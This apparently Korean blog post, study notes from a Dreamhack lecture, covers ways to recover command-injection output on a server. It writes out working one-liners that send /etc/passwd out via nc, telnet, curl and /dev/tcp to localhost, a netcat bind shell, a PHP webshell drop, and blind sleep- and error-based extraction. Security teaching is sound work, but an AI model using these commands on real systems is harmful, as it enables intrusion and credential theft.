드림핵 강의에서 실행 결과를 확인할 수 없는 환경에서 활용할 수 있는 방법을 알려준다.
Network Outbound
nc (netcat)
nc는 TCP 또는 UDP 프로토콜을 사용하는 네트워크에서 데이터를 송신하거나 수신하는 프로그램이다.
셸에서 제공하는 파이프('|')와 함께 해당 프로그램을 사용하면 앞서 실행한 명령어의 결과를 네트워크로 전송한다.
cat /etc/passwd | nc 127.0.0.1 8000
telnet
telnet은 네트워크 연결에 사용되는 프로토콜로 클라이언트를 설치해 네트워크에 연결을 시도할 수 있다.
nc와 같이 파이프와 함께 명령어의 결과를 네트워크로 전송할 수 있다.
cat /etc/passwd | telnet 127.0.0.1 8000
CURL / WGET
curl과 wget은 모두 웹 서버의 컨텐츠를 가져오는 프로그램이다.
웹 서버에서 컨텐츠를 가져오기 위해서는 웹 서버에 방문을 해야하기 때문에 서버에서는 접속 로그가 남게되는데
이 특징을 이용해 명령어의 실행 결과를 웹 서버의 경로 또는 Body와 같은 영역에 포함해 전송한다.
아래 코드는 curl을 이용해 명령어의 실행 결과를 네트워크로 전송하는 예시인데
파라미터로 디렉터리 목록의 결과를 base64 인코딩하여 전달하도록 설정한다.
명령어 실행 결과에는 개행이 있을 수 있기 때문에 인코딩을 통해 개행을 제거한다.
curl "http://127.0.0.1:8080/?$(ls -al|base64 -w0)"
/dev/tcp & /dev/udp
Bash에서 지원하는 기능으로 네트워크에 연결하는 방법이 있다.
“/dev/tcp” 장치 경로의 하위 디렉터리로 IP 주소와 포트 번호를 입력하면
Bash는 해당 경로로 네트워크 연결을 시도한다.
cat /etc/passwd > /dev/tcp/127.0.0.1/8080
Reverse Shell
sh & Bash
“/dev/tcp” 또는 “/dev/udp” 경로를 사용해 포트를 서비스하는 서버에 공격 대상 서버의 셸을 실행할 수 있다.
경로에 입력한 IP 주소를 가진 서버에서 8080 포트를 열고 기다린 후 명령어를 실행하면 셸을 획득할 수 있다.
언어 사용
파이썬 또는 루비는 명령줄에서 코드를 작성해서 실행할 수 있다.
공격자는 명령줄에서 소켓을 사용해 리버스 쉘 공격이 가능하다.
Bind Shell
nc (netcat)
nc는 버전에 따라 특정 포트에 임의 서비스를 등록할 수 있도록 -e 옵션을 제공한다.
nc -nlvp 8080 -e /bin/sh
ncat -nlvp 8080 -e /bin/sh
언어 사용
펄(Perl) 스크립트를 작성해서 특정 포트를 셸과 함께 바인딩할 수 있다.
파일 생성
Script Engine
웹 서버는 지정된 경로에 존재하는 파일을 브라우저에 표시한다.
커맨드 인젝션 취약점이 존재하고 웹 서버가 지정한 경로를 알고 있다면
해당 위치에 셸을 실행하는 웹쉘을 업로드하고 해당 페이지에 접속해 쉘을 실행하고 실행 결과를 확인할 수 있다.
PHP, JSP, ASP 등 웹 서버가 해석 가능한 파일을 사용해 웹쉘을 업로드 할 수 있다.
printf '<?=system($_GET[0])?>' > /var/www/html/uploads/shell.php
Static File Directory
프레임워크 또는 웹 애플리케이션에서는 JS/CSS/Img 등 정적 리소스를 다루기 위해 Static File Directory를 사용한다.
해당 디렉터리에 실행한 명령어의 결과를 파일로 생성하고 해당 파일에 접근해 결과를 확인할 수 있다.
대표적인 예시로 파이썬의 Flask 프레임워크 기본 설정에서는 Static File Directory의 이름이 static으로 설정되어 있다.
해당 디렉터리를 사용하지 않는 환경이더라도 static 디렉터리를 생성하는 명령어를 실행하고 파일을 생성하면 된다.
(단, 프레임워크가 동작하는 디렉터리에 파일 생성 권한이 있어야 함)
아래 코드는 static 디렉터리를 생성하고, id 명령어의 실행 결과를 생성한 디렉터리 내 “result.txt” 파일에 저장한다.
해당 명령어가 실행된 이후 “static/result.txt” 페이지에 방문하면 명령어 실행 결과를 확인할 수 있다.
mkdir static; id > static/result.txt
위의 방법들은 네트워크의 인/아웃 바운드의 제한이 없을 때 사용할 수 있는 방법이다.
만약 네트워크 방화벽 규칙을 설정해 인/아웃 바운드에 제한이 걸려 있다면
리버스 쉘과 바인드 쉘을 이용한 공격은 불가능할 수 있다.
이러한 상황에서는 참/거짓 비교문으로 데이터를 알아내야 한다.
지연 시간(Sleep)
명령어의 결과를 base64로 인코딩한 값을 대상으로 한 바이트씩 비교하여 참/거짓을 통해 데이터를 알아낼 수 있다.
인코딩하여 나온 값을 한 바이트씩 비교하는 스크립트를 작성해야 한다.
참이면 sleep 명령어를 실행하고 아니면 스크립트를 종료해 지연 시간 발생 여부로 데이터를 알아낼 수 있다.
에러(DoS)
시간을 지연시키는 방법이 불가능하거나 지연을 확인하기 어려운 경우에 사용할 수 있는 방법이다.
이 또한 한 바이트씩 비교하는 스크립트를 작성하고
sleep 대신 메모리를 많이 소모하는 명령어를 입력하는 등의 행위로
Internal Server Error를 발생시켜 참/거짓을 판별한다.
제일 간단한 방법으로는 “cat /dev/urandom" 명령어가 있다.
레퍼런스
https://learn.dreamhack.io/294
'background > web' 카테고리의 다른 글
Command Injection for PHP (0) | 2022.11.28 |
---|---|
Command Injection for Linux (2) (1) | 2022.11.27 |
[NoSQL] Redis DBMS (0) | 2022.11.24 |
[NoSQL] CouchDB (0) | 2022.11.24 |
SSTI(Server Side Template Injection) (0) | 2022.09.29 |